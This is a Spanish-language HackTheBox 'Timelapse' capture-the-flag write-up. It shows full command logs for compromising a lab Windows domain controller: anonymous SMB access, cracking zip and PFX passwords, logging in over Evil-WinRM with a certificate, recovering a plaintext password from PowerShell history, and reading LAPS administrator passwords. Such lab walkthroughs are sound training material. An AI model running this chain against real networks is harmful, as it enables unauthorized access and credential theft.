HackTheBox Timelapse

❯ nmap -sS -Pn -n -vvv --open --min-rate 5000 10.10.11.152 -oG port

PORT     STATE SERVICE          REASON
53/tcp   open  domain           syn-ack ttl 127
88/tcp   open  kerberos-sec     syn-ack ttl 127
135/tcp  open  msrpc            syn-ack ttl 127
139/tcp  open  netbios-ssn      syn-ack ttl 127
389/tcp  open  ldap             syn-ack ttl 127
445/tcp  open  microsoft-ds     syn-ack ttl 127
464/tcp  open  kpasswd5         syn-ack ttl 127
593/tcp  open  http-rpc-epmap   syn-ack ttl 127
636/tcp  open  ldapssl          syn-ack ttl 127
3268/tcp open  globalcatLDAP    syn-ack ttl 127
3269/tcp open  globalcatLDAPssl syn-ack ttl 127

Puertos abiertos.

❯ nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269 10.10.11.152 -oN target.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-30 01:06 EDT
Nmap scan report for 10.10.11.152
Host is up (0.037s latency).

PORT     STATE SERVICE           VERSION
53/tcp   open  domain            Simple DNS Plus
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos (server time: 2025-04-30 05:35:42Z)
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open  globalcatLDAPssl?
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-04-30T05:35:51
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 29m03s

Puertos abiertos con su version y servicio que corren.

❯ ldapsearch -x -H ldap://10.10.11.152 -s base | grep 'ServiceName'
ldapServiceName: timelapse.htb:dc01$@TIMELAPSE.HTB
dsServiceName: CN=NTDS Settings,CN=DC01,CN=Servers,CN=Default-First-Site-Name,

Verificamos el dominio y los agregamos al etc/hosts.

SMB Enumeration

❯ smbclient -L 10.10.11.152 -N 2>/dev/null

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	Shares          Disk

Como hemos comprobado, el servicio de SMB se encuntra expuesto, procederemos a comprobar cuales son los recursos que se encuentran compartidos en Samba.

❯ smbclient //10.10.11.152/Shares -N

Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Oct 25 11:39:15 2021
  ..                                  D        0  Mon Oct 25 11:39:15 2021
  Dev                                 D        0  Mon Oct 25 15:40:06 2021
  HelpDesk                            D        0  Mon Oct 25 11:48:42 2021

		6367231 blocks of size 4096. 1249624 blocks available
smb: \> cd Dev 
smb: \Dev\> dir
  .                                   D        0  Mon Oct 25 15:40:06 2021
  ..                                  D        0  Mon Oct 25 15:40:06 2021
  winrm_backup.zip                    A     2611  Mon Oct 25 11:46:42 2021

		6367231 blocks of size 4096. 1248813 blocks available
smb: \Dev\> get winrm_backup.zip
getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (16.1 KiloBytes/sec) (average 16.1 KiloBytes/sec)
smb: \Dev\> ^Z
zsh: suspended  smbclient //10.10.11.152/Shares -N
❯ ll
.rw-r--r-- root root 2.5 KB Wed Apr 30 01:17:10 2025  winrm_backup.zip

Nos conectamos con un NULL session y descargamos este backup.

❯ fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip
found file 'legacyy_dev_auth.pfx', (size cp/uc   2405/  2555, flags 9, chk 72aa)
checking pw udei9Qui                                

PASSWORD FOUND!!!!: pw == supremelegacy
❯ unzip winrm_backup.zip
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password: 
  inflating: legacyy_dev_auth.pfx

A través de la herramienta de fcrackzip procederemos a intentar crackear la contraseña de un .zip y descomprimir el contenido del archivo usando la contraseña encontrada.

PFX File (crackpkcs12)

❯ pfx2john legacyy_dev_auth.pfx >> hash

❯ john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 128/128 AVX 4x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy       (legacyy_dev_auth.pfx)     
1g 0:00:01:02 DONE (2025-04-30 01:29) 0.01600g/s 51724p/s 51724c/s 51724C/s thuglife06..thug211
Warning: passwords printed above might not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Creamos un hash para el archivo PFX y lo crackeamos usando John.

❯ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes
Enter Import Password:

❯ openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem
Enter Import Password:

Procederemos a convertir el .PFX en un .PEM y extraer la clave privada del certificado.

❯ evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Warning: SSL enabled
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents> cd ..//Desktop
*Evil-WinRM* PS C:\Users\legacyy\Desktop> more user.txt
3a7d3f3b390ed3b18dfbcf5146576697

*Evil-WinRM* PS C:\Users\legacyy\Desktop> ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . :
   IPv6 Address. . . . . . . . . . . : dead:beef::4406:8e72:6739:2649
   Link-local IPv6 Address . . . . . : fe80::4406:8e72:6739:2649%13
   IPv4 Address. . . . . . . . . . . : 10.10.11.152
   Subnet Mask . . . . . . . . . . . : 255.255.254.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:265%13
                                       10.10.10.2
*Evil-WinRM* PS C:\Users\legacyy\Desktop>

Una vez obtenido el certificado junto con su clave privada, utilizaremos la herramienta Evil-WinRM para establecer una conexión con el servicio WinRM. Para ello, indicaremos tanto el certificado como la clave privada previamente desencriptada.
Si la autenticación es exitosa, obtendremos acceso a la máquina TimeLapse. A continuación, verificaremos la presencia del archivo user.txt para confirmar el acceso como usuario.

*Evil-WinRM* PS C:\> type $env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
*Evil-WinRM* PS C:\>

Principalmente la contraseña pertenece al usuario "svc_deploy" pero intentaremos comprobar si la contraseña sirve para otros usuarios del AD.

*Evil-WinRM* PS C:\Users> net user svc_deploy
User name                    svc_deploy
Full Name                    svc_deploy
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/25/2021 12:12:37 PM
Password expires             Never
Password changeable          10/26/2021 12:12:37 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   10/25/2021 12:25:53 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *LAPS_Readers         *Domain Users
The command completed successfully.

*Evil-WinRM* PS C:\Users>

LAPS (Local Administrator Password Solution) guarda las contraseñas locales de los administradores en el Active Directory, cifradas, y otorga permisos para leerlas a ciertos grupos.
Si svc_deploy está en LAPS_Readers, significa que podría tener permiso para:
Leer la contraseña del administrador local de otros equipos del dominio.

❯ evil-winrm -i 10.10.11.152 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Warning: SSL enabled
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami 
timelapse\svc_deploy
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>

Ahora somos el usuario svc_ que pertenece al grup LAPS_Readers.

Abusing LAPS to get passwords

Procederemos a enumerar las contraseñas de los usuarios Administradores de todos los equipos del AD para aprovecharnos de LAPS para extraer las credenciales. Comprobamos que hemos encontrado una contraseña.

Get-ADComputer -Filter * -Property ms-MCS-AdmPwd | Select-Object Name, ms-MCS-AdmPwd

Maquina Resuelta.

AnteriorHackTheBox Return SiguienteHackTheBox Administrator

Última actualización hace 10 días

❯ nmap -sS -Pn -n -vvv --open --min-rate 5000 10.10.11.152 -oG port PORT STATE SERVICE REASON 53/tcp open domain syn-ack ttl 127 88/tcp open kerberos-sec syn-ack ttl 127 135/tcp open msrpc syn-ack ttl 127 139/tcp open netbios-ssn syn-ack ttl 127 389/tcp open ldap syn-ack ttl 127 445/tcp open microsoft-ds syn-ack ttl 127 464/tcp open kpasswd5 syn-ack ttl 127 593/tcp open http-rpc-epmap syn-ack ttl 127 636/tcp open ldapssl syn-ack ttl 127 3268/tcp open globalcatLDAP syn-ack ttl 127 3269/tcp open globalcatLDAPssl syn-ack ttl 127

❯ nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269 10.10.11.152 -oN target.txt Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-30 01:06 EDT Nmap scan report for 10.10.11.152 Host is up (0.037s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-30 05:35:42Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ldapssl? 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name) 3269/tcp open globalcatLDAPssl? Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2025-04-30T05:35:51 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required |_clock-skew: 29m03s

❯ smbclient -L 10.10.11.152 -N 2>/dev/null Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share Shares Disk

❯ smbclient //10.10.11.152/Shares -N Try "help" to get a list of possible commands. smb: \> dir . D 0 Mon Oct 25 11:39:15 2021 .. D 0 Mon Oct 25 11:39:15 2021 Dev D 0 Mon Oct 25 15:40:06 2021 HelpDesk D 0 Mon Oct 25 11:48:42 2021 6367231 blocks of size 4096. 1249624 blocks available smb: \> cd Dev smb: \Dev\> dir . D 0 Mon Oct 25 15:40:06 2021 .. D 0 Mon Oct 25 15:40:06 2021 winrm_backup.zip A 2611 Mon Oct 25 11:46:42 2021 6367231 blocks of size 4096. 1248813 blocks available smb: \Dev\> get winrm_backup.zip getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (16.1 KiloBytes/sec) (average 16.1 KiloBytes/sec) smb: \Dev\> ^Z zsh: suspended smbclient //10.10.11.152/Shares -N ❯ ll .rw-r--r-- root root 2.5 KB Wed Apr 30 01:17:10 2025  winrm_backup.zip

❯ fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip found file 'legacyy_dev_auth.pfx', (size cp/uc 2405/ 2555, flags 9, chk 72aa) checking pw udei9Qui PASSWORD FOUND!!!!: pw == supremelegacy ❯ unzip winrm_backup.zip Archive: winrm_backup.zip [winrm_backup.zip] legacyy_dev_auth.pfx password: inflating: legacyy_dev_auth.pfx

❯ pfx2john legacyy_dev_auth.pfx >> hash ❯ john -w:/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 128/128 AVX 4x]) Cost 1 (iteration count) is 2000 for all loaded hashes Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status thuglegacy (legacyy_dev_auth.pfx) 1g 0:00:01:02 DONE (2025-04-30 01:29) 0.01600g/s 51724p/s 51724c/s 51724C/s thuglife06..thug211 Warning: passwords printed above might not be all those cracked Use the "--show" option to display all of the cracked passwords reliably Session completed.

❯ evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Warning: SSL enabled Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\legacyy\Documents> cd ..//Desktop *Evil-WinRM* PS C:\Users\legacyy\Desktop> more user.txt 3a7d3f3b390ed3b18dfbcf5146576697 *Evil-WinRM* PS C:\Users\legacyy\Desktop> ipconfig Windows IP Configuration Ethernet adapter Ethernet0: Connection-specific DNS Suffix . : IPv6 Address. . . . . . . . . . . : dead:beef::4406:8e72:6739:2649 Link-local IPv6 Address . . . . . : fe80::4406:8e72:6739:2649%13 IPv4 Address. . . . . . . . . . . : 10.10.11.152 Subnet Mask . . . . . . . . . . . : 255.255.254.0 Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:265%13 10.10.10.2 *Evil-WinRM* PS C:\Users\legacyy\Desktop>

*Evil-WinRM* PS C:\> type $env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt whoami ipconfig /all netstat -ano |select-string LIST $so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck $p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force $c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p) invoke-command -computername localhost -credential $c -port 5986 -usessl - SessionOption $so -scriptblock {whoami} get-aduser -filter * -properties * exit *Evil-WinRM* PS C:\>

*Evil-WinRM* PS C:\Users> net user svc_deploy User name svc_deploy Full Name svc_deploy Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 10/25/2021 12:12:37 PM Password expires Never Password changeable 10/26/2021 12:12:37 PM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 10/25/2021 12:25:53 PM Logon hours allowed All Local Group Memberships *Remote Management Use Global Group memberships *LAPS_Readers *Domain Users The command completed successfully. *Evil-WinRM* PS C:\Users>

❯ evil-winrm -i 10.10.11.152 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Warning: SSL enabled Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami timelapse\svc_deploy *Evil-WinRM* PS C:\Users\svc_deploy\Documents>